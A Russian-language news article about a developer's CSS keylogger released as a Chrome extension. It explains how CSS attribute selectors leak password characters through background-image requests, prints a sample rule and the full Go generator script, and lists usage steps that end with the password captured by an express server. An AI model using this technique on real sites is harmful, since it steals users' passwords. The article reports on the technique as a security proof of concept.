Независимый разработчик Макс Чихаб (Max Chehab) поделился своим CSS-кейлоггером на GitHub. Инструмент представлен в виде расширения для браузера Chrome.
Принцип работы
Используя селекторы атрибутов, можно запрашивать ресурсы с внешнего сервера под видом загрузки фонового изображения.
Например, следующий CSS выберет все формы ввода с типом password
и значением value
, заканчивающимся на «а», и затем попытается загрузить фотографию из http://localhost:3000/a
:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
С помощью простого скрипта можно создать CSS-файл, который будет посылать опциональные запросы для каждого символа ASCII:
package main
import (
"fmt"
"log"
"net/url"
"os"
)
func main() {
fmt.Println("Building keylogger.css")
output, err := os.Create("./css-keylogger-extension/keylogger.css")
if err != nil {
log.Fatal("Cannot create output", err)
}
defer output.Close()
for c := 32; c < 128; c++ {
value := fmt.Sprintf("%c", c)
urlValue := url.QueryEscape(value)
if value == `"` {
value = `\"`
} else if value == `}` {
value = `\\}`
} else if value == `\` {
value = `\\`
}
fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue)
fmt.Fprintf(output, "\n")
}
fmt.Println("Complete.")
}
Как пользоваться?
- Открыть веб-сайт, использующий компонентный фреймворк вроде React (например, https://instagram.com).
- Нажать на расширение C в правом верхнем углу на любой странице.
- Ввести свой пароль.
- Пароль будет перехвачен express-сервером.
Подробности по установке и настройке расширения можно найти в источнике.
Каскадные таблицы стилей становятся популярным инструментом для проведения хакерских атак. Напомним, что в январе был создан прототип системы для отслеживания ряда пользовательских действий на чистом CSS. А в начале февраля у исследователей получилось использовать CSS для кражи токенов CRSF и персональных данных.
Источник: GitHub